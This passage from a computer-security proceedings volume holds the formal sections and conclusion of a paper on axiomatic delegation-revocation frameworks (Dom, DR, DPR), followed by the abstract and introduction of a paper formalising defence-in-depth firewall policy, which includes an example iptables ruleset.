weakening of an idea of Hagström et al., who “do not want a revocation to
result in a subject having more permissions than before the revocation”, but
who nevertheless define delete revocations that do not satisfy this property.

The fourth and last postulate that we consider is called Timing Indifference,
as it formalizes ideas about the conditions under which the relative timing of
two actions does not make a difference. The explanations of problems (1) and
(2) in Sect. 2.2 were partially based on considerations of timing indifference.
Those explanations suggest the following characterization of timing indifference
between a revocation and another action:

– For a global non-resilient revocation targeted at principal l, the temporal
ordering between this revocation and any action targeted at a principal other
than l does not matter.

– For a local resilient revocation targeted at principal l, the temporal ordering
between this revocation and any action performed by a principal other than l
does not matter.

– For a global resilient revocation, the temporal ordering between the revocation
and another action does not matter.

– For a local non-resilient revocation targeted at principal l, the temporal order-
ing between this revocation and any action that performed by and targeted
at a principal other than l does not matter.

If both actions considered for timing indifference are revocations, the above
conditions need to be satisfied in both directions. If both actions are granting
actions, the timing between them should never make a difference.

The above criteria for timing indifference can be formalized in a single pos-
tulate as follows:

Timing Indifference. Let Σ ⊆ Σ∗ be a set of revocation dimension
combinations, and let Π1 and Π2 be delegation-revocation profiles over
Σ. Suppose that a1 is a granting or revocation action performed by i and
targeted at j, and that a2 is a granting or revocation action performed by
k and targeted at l such that the following properties are satisfied:
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1. a1 is either a granting action or a global revocation action, or k �= j.
2. a1 is either a granting action or a resilient revocation action, or l �= j.
3. a2 is either a granting action or a global revocation action, or i �= l.
4. a2 is either a granting action or a resilient revocation action, or j �= l.

Then
F (Π1 ⊕ 〈a1, a2〉 ⊕ Π2) = F (Π1 ⊕ 〈a2, a1〉 ⊕ Π2).

3.3 The Postulates Applied to Existing Frameworks

Both H+ and H− (the two delegation-revocation frameworks by Hagström et al.
depending on the precedence of positive or negative authorizations) as well as
C (the delegation-revocation framework by Cramer et al. [7]) satisfy the Local-
ity postulate, because in a local revocation these three frameworks add auxiliary
authorizations from the principal performing to the revocation to any principal not
targeted by the revocation that would otherwise be affected by the revocation.

While H+ and C satisfy Resilience Indifference, H− does not satisfy it, due to
problem (4) from Sect. 2.2. Suppose the SOA gives A access right and gives B the
right to issue negative authorizations (i.e. to perform strong revocations), and B
uses this right to revoke A’s access right through a Strong Global Negative revo-
cation. Suppose further that after this the SOA revokes the right to issue negative
authorizations from B. If this revocation is a delete revocation (i.e. non-resilient),
it will according to Hagström et al. also delete the negative authorization from
B to A, thus giving back access to A. But if this revocation is a negative autho-
rization (i.e. resilient), it will not inactivate the authorization from B to A due to
Hagström et al.’s principle that negative authorizations cannot get inactivated,
so A will not get back access right. So A’s access right depends on whether the
final action is a resilient or non-resilient revocation, thus contradicting Resilience
Indifference. Note that modifying H− by allowing negative authorizations to get
inactivated will ensure satisfaction of Resilience Indifference.

H+ and H− fail to satisfy Timing Indifference in multiple ways. For example,
problem (1) from Sect. 2.2 shows how they fail to satisfy it for a Strong Global
Delete (i.e. Non-Resilient) revocation, and problem (2) shows how they fail to
satisfy it for a Strong Local Negative (i.e. Resilient) revocation. C also does
not satisfy Timing Indifference, because it behaves in the same way as H+ and
H− on the example from problem (2) in Sect. 2.2. But unlike in H+ and H−,
the global revocations in C do satisfy Timing Indifference. More formally, the
restriction of C to a delegation-revocation graph over ({W} × {G} × {N}) ∪
({P, S} × {G} × {N,R}) satisfies Timing Indifference.

To conclude, H− only satisfies two of the four postulates that we have defined,
while H+ and C satisfy the first three of them. C only fails Timing Indifference
in the case of local revocations. This suggests that it might be possible to define a
delegation-revocation framework that satisfies all four postulates by modifying
the treatment of local revocations in C. This is what we will do by defining
the framework DPR in Sect. 6. To build up to that task, we first define a basic
delegation-revocation framework over {(S,G,R), (P,G,R), (W,G,N)} called Dom,
which we then extend stepwise.
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4 The Basic Framework Dom

In this section we define the basic delegation-revocation framework Dom that
distinguishess three revocations based on the dominance dimension. Dom will be
extended to delegation-revocation frameworks incorporating first the Resilience
dimension (Sect. 5), and then the Propagation dimension (Sect. 6).

The three revocations in Dom are Strong Global Resilient (SGR), P-t-p Global
Resilient (SGR) and Weak Global Delete (WGD). In other words, the value of
the propagation dimension is fixed to Global, and the value of the resilience
dimension is fixed to Resilient when possible (as explained in Sect. 2.2, it does not
make sense to have weak resilient revocations). So formally Dom is a delegation-
revocation framework over the set {(S,G,R), (P,G,R), (W,G,N)} of revocation
dimension combinations.

As the delegation-revocation frameworks defined by Hagström et al. [11] and
Cramer et al. [7], Dom is defined in a graph-theoretical way, where the nodes
of the graph are the principals, and the labelled edges of the graph are autho-
rizations that principals have granted to each other. Dom admits for one kind
of positive authorization, denoted +, and two kinds of negative authorization,
denoted −SR and −PR (the R in the subscript means “resilient”; it is used here
as we will define extensions of Dom that have non-resilient negative authoriza-
tions). The set {+,−SR,−PR} of authorization types is denoted by TDom.

Definition 1. An authorization is a tuple (i, j, τ, π), where i, j ∈ S, τ ∈ TDom,
π ∈ P.

From a graph-theoretical point of view, an authorization is an edge from i
to j labelled τ, π. The graph consisting of the principals and the authorizations
is called the authorization specification. As the set of principals is constant, we
also use the term authorization specification to refer to the set of authorizations
that are in place.

In Dom, i’s action of granting a permission π to j corresponds to adding
(i, j,+, π) to the authorization specification. i’s action of revoking permission π
from j through an SGR or PGR revocation corresponds to adding (i, j,−SR, π) or
(i, j,−PR, π) respectively to the authorization specification. i’s action of revok-
ing permission π from j through a WGN revocation corresponds to deleting
(i, j,+, π) from the authorization specification. These correspondences induc-
tively define a function ADom that maps any delegation-revocation profile Π
over {(S,G,R), (P,G,R), (W,G,N)} to an authorization specification (the base
case is that ADom(〈〉) is the empty authorization specification).

Since in a delegation-revocation profile Π a granting action of a delegation
right can only occur directly after a granting action of a corresponding access
right (see Sect. 3.1), an authorization (i, j,+,D) can only be present in an autho-
rization specification ADom(Π) if the authorization (i, j,+, A) is also present.
Conversely, an authorization (i, j, τ, A) for τ ∈ {−SR,−PR} can only be present
if an authorization (i, j,−SR,D) is present.

We visualize an authorization specification as in Example 4, in which A is
the SOA. For every authorization (i, j, τ, π) in the authorization specification,
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this graph contains an edge from i to j labelled τ, π. We refrain from showing
the authorizations that can be implied to exist by the considerations explained
in the previous paragraph (for example, additionally to the depicted authoriza-
tion (A,B,+,D), there must also be an authorization (A,B,+, A), which is not
depicted).

Example 4. An authorization specification

A B C

D

E
+, D

+, S

+, A

+, D

+
, D +, A

+, D

We define a relation R on P× (TDom×P) such that R(π, (τ, π′)) formalizes
the notion that permission π is a prerequisite for being a legal grantor of an
authorization of type τ and permission π′:

Definition 2. R(π, (τ, π′)) holds iff one of the following conditions is satisfied:

– π = D, τ �= −SR and either π′ = A or π′ = D.
– π = S, τ �= −SR and π′ = S.
– π = S and τ = −SR.

In order to evaluate which principals have access given a certain authorization
specification, we need to consider which authorizations are active and which ones
are inactivated. For an authorization to be active, one prerequisite is that it must
be connected back to the SOA through a chain of active authorizations that
ensure that each principal along the chain is a legal grantor of the authorization
in the chain granted by that principal. Additionally, a negative authorization
(i, j,−SR, π) inactivates every positive authorization from some principal k to
j (as this negative authorization means that i has performed a Strong Global
Resilient revocation onto j).

In order to formally specify which authorizations get inactivated when issuing
a negative authorization, we define through a simultaneous inductive definition
the notions of an authorization being active and an authorization being directly
inactivated in Definitions 3 and 4.2 The auxiliary notion of a directly inactivated

2 These definitions inductively depend on each other. They should be read as an
inductive definition with the well-founded semantics [8]. As discussed in Appendix A
of Cramer et al. [7], there are exist paradoxical cases in which the well-founded
semantics is three-valued rather than two-valued, so that for some authorizations it
is undecided whether they are active or not. Such paradoxical cases only arise when
strong revocation of the permission S depend on each other in a circular way. For
the purpose of this paper we stipulate that undecided is treated as false, so that the
principals directly affected by such a paradoxical situation will not have access until
the paradoxical situation is resolved.
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authorization captures the idea of an authorization from k to j being inactivated
by a negative authorization from i to j.

Definition 3. Let A be an authorization specification. An authorization
(i, j, τ, π) is active in A if it is not directly inactivated in A and there are
nodes p1, . . . , pn, pn+1 satisfying the following properties:

– p1 = SOA, pn = i and pn+1 = j.
– For 1 ≤ l < n there is an authorization (pl, pl+1,+, π′) in A that is not

directly inactivated, where R(π′, (τ, π)).
– There do not exist l,m such that 1 ≤ l ≤ m ≤ n and an authorization

(pl, pm+1,−PR, π′) in A such that τ = + and π′ = π if m = n, and such
that R(π′, (τ, π)) otherwise.

Definition 4. Let A be an authorization specification. An authorization
(i, j,+, π) is directly inactivated in A if there is an active authorization
(k, j,−SR, π) in A.

The notion of an active authorization is used in the definition of access right:

Definition 5. Let A be an authorization specification. A principal j has access
right in A iff j is the SOA or there is an active authorization of the form
(i, j,+, A) for some node i.

Now we are in a position to define the delegation-revocation framework Dom:

Definition 6. Given a delegation-revocation profile Π over {(S,G,R), (P,G,R),
(W,G,N)}, we define

Dom(Π) := {i ∈ S | i has access right in ADom(Π)}.

Example 5. Consider the authorization specification in Example 4. Let the prin-
cipal B perform an action revoke(B,C, A,S,G,R), that is, a global revocation of
access rights targeting the principal C (see Fig. 1). The result of the action in
the graph we add a negative authorization (B,C,−SR, A) (that implies also the
negative authorization (B,C,−SR,D)). Such a negative authorization is active,
making the positive authorizations targeting C directly inactivated, and con-
sequently making also the authorization previously issued by C, (C,E,+,D),
inactive.

Dom satisfies all four postulates from Sect. 3.2. Locality and Resilience Indif-
ference are satisfied vacuously, as Dom does not support any local revocation
nor any pair of revocations that differ only in the resilience dimension.

Theorem 1. Dom satisfies Locality, Resilience Indifference, Access from Revo-
cation, and Timing Indifference.
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Fig. 1. Example 5

5 Adding Non-resilient Revocation: DR

In this section we extend Dom to a delegation framework DR that introduces
into the framework also the possibility of performing non-resilient revocations.

DR is defined by making the following modifications to Dom:

– New negative authorization types −SN and −PN are introduced i.e. TDR :=
{+,−SR,−PR,−SN,−PN}.

– We introduce a new element in the authorization specification, the shields,
which protect a positive authorization from being inactivated by an earlier
non-resilient negative authorization (see below).

– We redefine how performing a granting action modifies the authorization spec-
ification, introducing also the possibility of the shields.

– We modify the definition of active and directly inactivated in order to account
for the shields.

The addition of the authorization types −SN and −PN means that TDom gets
replaced by TDR in the definitions of authorization and R, and that “τ �= −SR”
gets replaced by “τ /∈ {−SR,−SN}” in the definition of R.

The behaviour of the global non-resilient revocations is the same in DR as in
the delegation-revocation framework C from Cramer et al. [7]. However, Cramer
et al. defined this behaviour without reference to shields. Instead, they included
time stamps on the authorizations that indicate when an authorization was
issued, and that were used to get the same effect as we get in DR through the
use of shields. The reason why we use shields instead of time stamps is that time
stamps include a lot of additional information into the authorization specification
that is not relevant for determining access rights. By using shields we encode
in the authorization specification only that part of the information about the
temporal ordering of actions that is needed to correctly define access right.

A shield is a pair ((i, j,+, π), (k, j,−pN , π′)) for p ∈ {S, P}, i.e. a pair con-
sisting of a positive authorization and a non-resilient negative authorization that
target the same principal. In order to have the shields in the authorization speci-
fication, we need to redefine the authorization specification to be a more complex
structure than a graph: An authorization specification is a structure consisting
of a graph (with vertices and edges as in Sect. 6) plus a binary relation S on
the edges of the graph, where we require that S((i, j, τ, π), (k, l, τ ′, π′)) can only
hold if τ = +, τ ′ ∈ {−PR,−SR} and l = j.
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A shield ((i, j,+, π), (k, j,−pN , π′)) represents the fact that (i, j,+, π) results
from a granting action performed after the revocation action that gave rise
to (k, j,−pN , π′), which by the intuitive meaning of non-resilient means that
(i, j,+, π) cannot be inactivated by (k, j,−pN , π′). In order to ensure that the
right shields are in the authorization specification, we need to modify the effect
that performing a granting action has on the authorization specification. When-
ever a granting action grant(i, j, π) is performed:

– (i, j,+, π) is added to the authorization specification.
– If in the authorization specification there is a non-resilient negative authoriza-

tion (k, j,−SN, π′), then add S((i, j,+, π), (k, j,−SN, π′)) to the authorization
specification.

The last step in the definition of DR is to modify the definition of active and
directly inactivated in order to account for the shields:

Definition 7. Let A be an authorization specification with shield relation S. An
authorization (i, j, τ, π) is active in A if it is not directly inactivated in A and
there are nodes p1, . . . , pn, pn+1 satisfying the following properties:

– p1 = SOA, pn = i and pn+1 = j.
– For 1 ≤ l < n there is an authorization (pl, pl+1,+, π′) in A that is not

directly inactivated, where R(π′, (τ, π)).
– There do not exist l,m such that 1 ≤ l ≤ m ≤ n and an authorization

(pl, pm+1, τ
′, π′) in A such that

• τ ′ ∈ {−PR,−PN},
• ((pm, pm+1,+, π′′), (pl, pm+1, τ

′, π′)) /∈ S, where π′′ = π if m = n, and
R(π′′, (τ, π)) otherwise,

• τ = + and π′ = π if m = n, and
• R(π′, (τ, π)) if m �= n.

Definition 8. Let A be an authorization specification with shield relation S. An
authorization (i, j,+, π) is directly inactivated in A if there is an active authoriza-
tion (k, j, τ, π) in A such that τ ∈ {−SR,−SN} and ((i, j,+, π), (k, j, τ, π)) /∈ S).

Example 6. The starting point is the graph in Example 4. B issues a non-resilient
strong revocation of A targeted at C.

Let D re-issue the positive authorization (D,C,+, A); since there is a non-
resilient negative authorization (B,C,−SN, A) targeting C, a shield ((D,C,+, A),
(B,C,−SN, A)) is issued.
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Following Definition 8, the authorization (D,C,+, A) is not directly inacti-
vated by (B,C,−SN, A) since there is a shield from the former to the latter.
(D,C,+, A) is actually active, and C’s access rights are restored.
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The framework DR satisfies all four postulates defined in Sect. 3.2 (Locality
is satisfied vacuously due to the lack of local revocations):

Theorem 2. DR satisfies Locality, Resilience Indifference, Access from Revo-
cation, and Timing Indifference.

6 Adding Local Revocations: DPR

In this section we extend the framework DR to a delegation-revocation frame-
work DPR over Σ∗. In other words, DPR fully covers all three revocation dimen-
sions, i.e. it can handle all ten revocation actions defined in Sect. 3.1. For this,
we need to specify how DR gets modified so as to support local revocations.

As seen at the end of Sect. 4, the definition of local revocations presented by
Cramer et al. [7] does not satisfy the postulate of Timing Indifference. The goal
of this section is to define the local revocations in such a way that this postulate
is satisfied. We do this by extending the framework Dom in the following way:

– We add a new set of nodes to the graph, the set B of bridges. A bridge can
be used in delegation chains in order to preserve the effect of authorizations
issued by a principal targeted by a local revocation.

– We introduce a new class of actions, Local Revocations.
– We appropriately modify the definition of the authorization specifications as

well as the definition of when an authorization is active.

We define the set of bridges to be

B := {bridge(i, j, d, r, π)|i, j ∈ S, (d, r) ∈ ({S,P,W}×{R,N})\{W,R} and π ∈ P}.

Following a local revocation action revoke(i, j, d, L, r, π), the purpose of
bridge(i, j, d, r, π) is to be a substitute for j in the delegation chains that ensure
that the principals whose access right previously depended on j is preserved.

We extend the definition of an authorization-specification from Sect. 5 by
allowing bridges to be nodes of the graph as well, and adding shields to this
extended notion of a graph using the same definition that was used to add shields
in Sect. 5, only that i, j, and k now refer to the new notion of a node (a principal
or a bridge) rather than to the old notion of a node (just a principal). The main
distinguishing factor between a principal and a bridge is that a bridge cannot
perform any action, as bridges cannot be mentioned in delegation-revocation
profiles. We say that a bridge bridge(i, j, d, r, π) is a bridge for the principal j,
and we indicate with Bj the set of the bridges for j.

We change the definition of how the authorization specification gets modi-
fied when a granting action or a global revocation action targeting a principal
j is performed by adding not only an authorization ending in j, but also anal-
ogous authorizations ending in the bridges in Bj . More precisely, the action
grant(i, j, π) results in adding not only (i, j,+, π), but also (i, b,+, π) for any
b ∈ Bj to the authorization specification; and the action revoke(i, j, d, G, r, π)
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results in adding not only (i, j,−dr, π), but also (i, b,−dr, π) for any b ∈ Bj to
the authorization specification.

In what follows we need to distinguish in the set Bj the bridges that are
actually playing an active role in the graph, since they are associated to some
active negative authorizations, from the ones that are not relevant. We call the
former ones the active bridges for j, and denote the set of the active bridges for j
by Ba

j (see Definition 9 below). Informally, the main idea is the following: Given
a principal j, its bridges in Bj record all the global authorizations targeting j. In
the moment a local revocation is performed by a principal i toward j, resulting
into a negative authorization (i, j,−dr, π), all the authorizations issued by j up to
that point are ‘copied’ in the bridge bridge(i, j,−SR, π), i.e. for every (j, k, τ ′, π′)
in the authorization specification, an authorization (bridge(i, j, d, r, π), k, τ ′, π′)
is added to the authorization specification. In such a way, for every authorization
(j, k, τ ′, π′) that was active before the performing of a local revocation targeting
j, we introduce a new authorization (bridge(i, j,−SR, π), k, τ ′, π′) that is active
in the new graph. This ensures that whatever rights were granted by j before the
local revocation are still supported by an active delegation chain that ‘bypasses’
the principal j through a bridge for j.

Performing a local revocation revoke(i, j, π, d,L, r) has the following effects
on an authorization specification:

1. For every principal k and every authorization (j, k, τ ′, π′) in the authoriza-
tion specification, an authorization (bridge(i, j, d, r, π), k, τ ′, π′) is added to
the authorization specification.

2. For every principal k and every authorization (k, j, τ ′, π′) in the authoriza-
tion specification, an authorization (k, bridge(i, j, d, r, π), τ ′, π′) is added to
the authorization specification.3

3. (i, j,−dr, π) is added to the authorization specification.

The constraints defining which authorization are active and which are inac-
tive must be changed in order to consider also the bridges, but only the active
ones. Apart from reinterpreting the meaning of the word node and the domain
of quantification of the variable i, j, p1, . . . , pn+1 to include bridges as well as
principals, Definition 8 remains unchanged, while we change Definition 7 simply
adding the following condition:

– For 1 < l ≤ n, if pl ∈ Bj for some principal j, then pl ∈ Ba
j .

Note that the latter condition refers to the set of active bridges. So instead
of building a simultaneous inductive definition consisting of Definitions 3 and
4 as in Sect. 4, here we build an analogous simultaneous inductive definition
using Definition 4, the modified version of Definition 3, and a third component,
Definition 9:
3 We add such a condition even though every authorization from k to j created due

to a granting or global revocation action already has a copy from k to any bridge for
j, because there can be authorizations from k to j created due to local revocations
that must be added at this point.



250 M. Cramer and G. Casini

Definition 9. Given a principal j, the set Ba
j is defined as follows: For every

bridge(i, j, d, r, π) ∈ Bj, bridge(i, j, d, r, π) ∈ Ba
j if and only if (i, j,−dr, π) is an

active authorization.

According to the above constraints, when a local revocation
revoke(i, j, d, L, r) is performed, a negative authorization (i, j,−dr, π) is issued
and a node bridge(i, j, d, r, π) is associated to (i, j, τ, π). In case (i, j,−dr, π) is
inactive, also bridge(i, j, d, r, π) is inactive and its presence is irrelevant. But if
(i, j,−dr, π) is active, bridge(i, j, τ, π) is active and ensures that all rights that
were granted by j before the revocation are preserved.

Example 7. Consider the authorization specification in Example 4. Let the prin-
cipal B perform an action revoke(B,C, A,S,L,R), i.e. a local revocation of access
A targeting the principal C. If in the graph we simply added a negative autho-
rization (B,C,−SR, A) as in Example 5, this would have the effect of a global
revocation, inactivating also the authorization (C,E,+,D) previously issued by
B. Now we use bridges to model the locality of the revocation. In the visualiza-
tion of the graph, we depict only the bridge that is relevant for the performed
local revocation revoke(B,C, A,S,L,R), namely bridge(B,C,S,R, A).

In step 1 of the three steps describing the effects of the local revocation
revoke(B,C, A,S,L,R), we add an authorization (bridge(B,C,S,R, A), j, τ, π) for
every authorization (C, j, τ, π). In this case we only have to replicate the autho-
rization (C,E,+,D) as (bridge(B,C,S,R, A), E,+,D). In step 2, we do not need
to add anything, because previously only non-local actions have been performed,
and all the non-local actions targeting C have already given rise to authoriza-
tions targeting bridge(B,C,S,R, A) (see Footnote 3). Finally, we add the negative
authorization (B,C,−SR, A). The resulting graph is the following.
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As the negative authorization (B,C,−SR, A) is active, the node bridge(B,C,S,R, A)
is also active.Then it is easy to check that theprincipalEobtains through thebridge
the delegation right that C had previously granted to E, while C itself no longer has
access or delegation right.

The framework DPR satisfies all four postulates defined in Sect. 3.2:

Theorem 3. DPR satisfies Locality, Resilience Indifference, Access from Revo-
cation, and Timing Indifference.

Note that of the delegation-revocation frameworks that we have defined, DPR
is the only one which satisfies all four postulates in a non-vacuous way, and the
only one which supports all ten revocation actions defined in Sect. 3.1.
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7 Conclusion and Future Work

Following an idea first proposed in Cramer et al. [7], we analyse delegation
revocation using the axiomatic method. In contrast to Cramer et al. [7], we define
relatively simple and readily understandable postulates. This way, our use of the
axiomatic method resembles more closely the standard way it is used in social
choice theory and belief revision. The four postulates that we define formalize
desirable features of revocation scheme, i.e. expectations about the behaviour of
various revocation schemes that are based on the intended meaning of the three
revocation dimensions first identified by Hagström et al. [11].

We have shown that none of the existing frameworks satisfies all four defined
postulates. Even the framework defined in Cramer et al. [7] fails to satisfy one of
the postulates in the case of local revocations. In order to define the delegation-
revocation framework DPR that satisfies all four postulates while supporting
all meaningful revocation schemes, we first defined the simple basic delegation-
revocation framework Dom that supports only three simple revocation schemes,
which we extended in a stepwise way first to DR and finally to DPR.

We believe that the approach taken in this paper can be a fruitful foundation
for future research. Concerning the specific topic of this paper, further research
should study the possibility of defining further postulates for relegation revoca-
tion frameworks and of proving representation results similar to those in belief
revision (see Rott [13]). Furhermore, the approach from the present paper based
on simple postulates could be combined with the approach from Cramer et al.
[7] that formulated a complex postulate based on a dedicated logic called Trust
Delegation Logic. Combining these approaches could lead to an improved vari-
ant of Trust Delegation Logic that fully characterizes a delegation-revocation
framework that additionally satisfies all the desirable simple postulates.

Finally, we consider the work presented in this paper as a proof of concept
showing the fruitfulness of applying the axiomatic method to problems in com-
puter security. We believe that other problems studied in computer security
could also profit from being analyzed using the axiomatic method.
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Abstract. Many network systems secure their resources using a defense
in depth strategy, which can result in complex policies being distributed
on the many access control points of a network. These policies are sub-
ject to frequent changes to deal with different factors such as change
in security situation or change in resources. Moreover, while we have a
vague intuitive understanding of the defense in depth strategy, we cer-
tainly lack a rigorous definition for it that would allow us to objectively
assess whether a policy distribution on a network satisfies this strat-
egy. In this paper, we propose a definition for defense in depth based
on a notion of refinement given in product family algebra. We use this
definition to articulate several implementations of the defense in depth
strategy taking into account local access policies and global constraints
on the resources of the considered network. We also discuss the automa-
tion of the calculations needed to derive the appropriate access policies
to deploy at the nodes of a network.

Keywords: Access control policies · Dynamic access control · Defense in
depth strategy · Formal methods · Software product families · Algebraic
approaches

1 Introduction

Access control policies are a necessary tool toward mitigating security risks of
network-accessible resources. They aim at protecting data and resources against
unauthorized users, which contributes to ensuring information confidentiality
and proper use of resources. When access control policies are comprehensive
and well implemented, they shield the network system by creating a filter that
restricts the access to only authorized users. An access control policy defines the
(high-level) rules according to which access control must be regulated [24]. Many
policies need to include additional rules expressing the general security situation
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such as excluding some sources that are known to be facilitating or participating
in building threats to resources. Moreover, real world network systems have more
complex policies, where access decisions at firewalls depend on the application of
different access rules coming from several sources and covering different societal
and organizational perspectives (e.g., laws, practices, and organizational regula-
tions). These policies are subject to frequent changes to deal with unexpected
factors related to the general security situation or to changes in the service pro-
vided to users. Therefore, in an organization, access policies to resources involve
different kinds of stakeholders that each bring a unique perspective on the con-
ditions enabling access to resources. For instance, we can consider the views of
management, finance, resource owners, and security officers as examples of rel-
evant views in articulating access policies. Commonly, the policies derived from
these views share some rules and differ on others. Hence, from this perspective,
we can consider that we have a family of policies that have commonality and
variability. The actual policy executed on a firewall is derived from these policies;
most current firewalls execute a policy that is a sequential composition of these.
One can conceive firewalls that execute these policies in parallel if the policies
are composed of rules that satisfy the integrability property (i.e., consistency
property) presented on Page 11.

The adaptation of networks to cope with changing security factors is often
performed manually. In addition, different variants of access control policies need
to be systematically integrated. In integrating them and then distributing them
on the several firewalls of the network, or to different access control points, one
needs to take into account their commonality and variability. From this perspec-
tive, the overall network access policy can be looked at as a family of policies
where the members of the families might have similarity and slight variabil-
ity. Taking this view demands a product line engineering approach for enhanced
reuse of policies and factoring common access policies to low nodes in the network
to be applied at firewalls closer to the perimeter of the access-target resource.

To reason on policies and to amend defense mechanisms on the fly require
the automation of the reasoning induced by changes to the security situation
and the communication of the attained decisions to concerned access control
nodes. The automation is critical when we are considering a large network with
a considerable number of dynamic resources (created and removed as needed
such as in the case of virtual machines). The goal for the reasoning task is to
ensure the consistency among policies (integrability as it is addressed in our
work) or to determine the best way to assign policies to nodes. These needs have
been pointed to by Burns et al. in [1] more than a decade ago. However, the
progress remains very slim in attaining this goal. In [28], Dave Clark states:

The idea that people are still programming routers using CLIs is a little
mind-boggling. And the very idea that human beings are expected to figure
out the global consequences of what might happen if they should make
one little fix here or another little fix there... it’s like we never escaped the
1980s!
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The proposed work provides the background for reasoning about security poli-
cies towards automatic and dynamic defense mechanisms. At this stage of our
work, and with the collaboration of our industrial partner CMC Microsystems,
we developed a prototype tool that performs the calculations needed for the ver-
ification of the integrability of policies (i.e., consistency among policies) and for
assigning to each node its policy that satisfies, according to Propositions 3–5,
the Defense in Depth (DD) strategy.

DD strategy aims to defend valuable assets by creating layers of defenses that
challenge the attacker in attaining access to the protected assets. Also, it is a
strategy that calls for the network to be aware and self-protective. It has showed
its merit in several areas such as fire prevention or nuclear energy. It is also
intuitively used in [18] for network security using access policies. In our context
of network resources protection, it has to put the resources behind layers of
defensive policies that are more and more deterministic in the actions they take
and the permission they grant. There are several basic questions that rise in our
context. The most pressing questions are the following: How can we formally
articulate this security strategy? If we are given a network topology and the
policies assigned to each of its firewalls, how can we assess whether indeed we
have our policies assigned according to the DD strategy? Are there schemes for
assigning policies to access nodes that lead to a network of access control points
employing DD strategy? In the remainder of this section, we are going to tackle
these questions.

Another aspect to the problem is related to one of the fundamental tenants
of secure designs. It is about not relying on one policy to achieve security, nor to
locate all your policies in one access point. Multiple independent access points
enabling access policies should be employed assuring a defense in depth [27].
However, an unauthorized user should be kept as far from the resource as possi-
ble. They should be blocked by the outermost possible firewall on the path to the
sought resource. The proposed approach allows us to use algebraic calculations
to determine the common policies that deny user access and then assign the role
of denying them access to the outermost possible firewall.

The paper approaches the problem of assigning access control policies to
firewalls from a product family perspective. It uses Product Family Algebra
(PFA) to reason on policies within an information system as a family of related
policies. Then by modelling access control rules as guarded commands, they can
detect conflict among rules assigned to a firewall. The paper proposes for the
first time a formal definition to the DD strategy. As far as we know, DD has been
discussed only intuitively in the literature. We then propose several schemes for
deploying policies according to the DD strategy. Also, PFA algebraic calculations
enable us to determine the exact set of rules to be assigned to the firewall.

In Sect. 2, we give the background needed to make the paper self-contained.
In Subsect. 2.1, we briefly present the various access control policies found in
the literature. In Subsect. 2.2, we present PFA and guarded commands and their
mathematics. In Sect. 3, we formally articulate our understanding of DD strategy.
Then, we propose schemata to assign access policies to nodes in order to get
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a network that employs a DD strategy. In Sect. 4, we discuss the automation
of the proposed approach to implementing DD strategy and we describe the
architecture of the prototype tool we are using. In Sect. 5, we discuss the merit
of adopting a product family approach to reason on access control security and
what would be the contexts where this paradigm can be helpful. We also, assess
the strengths of our approach and its limitations. Through these limitations, we
point to future research work. In Sect. 6, we briefly recap the main results of the
paper.

2 Background

2.1 Access Control

An Access Control List (ACL) is the most basic form of access control specifica-
tion. A resource on a system to which access should be controlled by an ACL is
referred to as an object. We find also that we have Role-Based Access Control
(RBAC) [5,6,25,26] in which access rests on the requester’s role or function.
When the decisions to access resources are based on a set of characteristics, or
attributes, associated with the requester, the environment, and/or the resource
itself, we have Attribute Based Access Control (ABAC) [14,15]. Each attribute
is a field in a session state that a policy decision point can compare against a set
of values to reach a decision on the appropriate action to take regarding access
to the requested resource. When we take into account the dynamic nature of the
security situation and would like to have realtime, adaptable, risk-aware access
control to the enterprise, we have what is referred to as Risk-Adaptive Access
Control (RAdAC) [2].

Current (hardware) firewalls implement either ABAC or RAdAC [27]. They
rely on the session state space to examine all the packets and execute a more
controlling access policy. This is called a stateful inspection. The states of each
connection are stored in a datastore (e.g., database) for the duration of the ses-
sion. They might include details such as the IP addresses, ports, the destinations,
and the sequence numbers of the packets being transferred. It uses these stored
states to decide what response to give to a requestor. In a certain sense, the
datastore is the memory of the firewall policy. There are also software defined
firewalls that are mainly stand-alone applications running in the background of
a computer or on an access point to a local network. Hence, whether we are con-
sidering current hardware firewalls or software firewalls, we have a state space
that encompasses the set of states governed by the access policies. The state-
ful control of access to resources is in use more and more to deal with growing
sophistication in the attacks on networks. For example, we see increasingly that
firewalls limit the number of embryonic connections to shield the network from
Denial-of-Service (DoS) attacks. Or, for instance the ASA uses the per-client
limits and the embryonic connection limit to trigger Transmission Control Pro-
tocol (TCP) Intercept, which protects inside systems from a DoS attack that is
perpetrated by flooding an interface with TCP SYN packets. These attack pre-
ventative activities require a memory and association with each packet that is
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1 −A INPUT −s 156 . 17 .49 . 0/24 −p tcp −m sta t e −−s t a t e NEW,RELATED,ESTABLISHED −m tcp −−dport 4000 −j ACCEPT
2
3 −A INPUT −s 156 . 17 .49 . 0/24 −p tcp −m sta t e −−s t a t e NEW,RELATED,ESTABLISHED −m tcp −−dport 22 −j ACCEPT
4
5 −A INPUT −m sta t e −−s t a t e RELATED,ESTABLISHED −j ACCEPT
6
7 −A INPUT −p icmp −j ACCEPT
8
9 −A INPUT −p udp −m mu l t ipo r t −−dports 5353 −j ACCEPT

10
11 −A INPUT −j REJECT −−r e j e c t −with icmp−host−proh ib i t ed

Fig. 1. An example of firewall policy

examined at the firewall, which we refer to as the state space of the packet. Our
work in this paper explores the use of the state space to reason on access control
policies. One should look at policies as a special kind of program specification
that should abide by the laws governing program specifications.

Figure 1 shows an example of an iptables1 firewall policy. We interpret the
rule in Line 1 as the following command with a guard and an action. We use
the notation g −→ a, where g is a guard and a is an action (as defined further
in Definition 4).

(Direction = Input) ∧ (SourceIP ∈ [156.17.49.0/24] ∧ (Protocol = TCP)
∧ (State ∈ {NEW,RELATED,ESTABLISHED}) ∧ (DestinationPort = 4000)
−→ Action = ACCEPT

We can similarly give the corresponding command to Line 3 in Fig. 1. Also,
we can directly combine the commands of Lines 1 and 3 into the following
command, where the change from the previous one is only in the underlined
condition. Therefore, a concrete policy can be interpreted as a set of commands
or a single command obtained by combining in a coherent way all the commands
as we did with Lines 1 and 3.

(Direction = Input) ∧ (SourceIP ∈ [156.17.49.0/24] ∧ (Protocol = TCP)
∧ (State ∈ {NEW,RELATED,ESTABLISHED}) ∧ (DestinationPort ∈ {4000, 22})
−→ Action = ACCEPT

In the following section, we present the background that relates the rules in
an access policy to the mathematical concepts that allow us to reason on policies
and on the strategies to deploy them on the firewalls of a network.

2.2 Mathematical Background

Product Family Algebra. The paradigm of product line or product family in
general has been transferred from hardware to software. Plainly, a product family
is a set of products that share common hardware or software artefacts such
as hardware components, requirements, architectural properties, middleware,
1 iptables is a command line utility for configuring Linux kernel firewall implemented

within the Netfilter project.
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or (in our case) security policies. A subfamily of a family A is a subset with
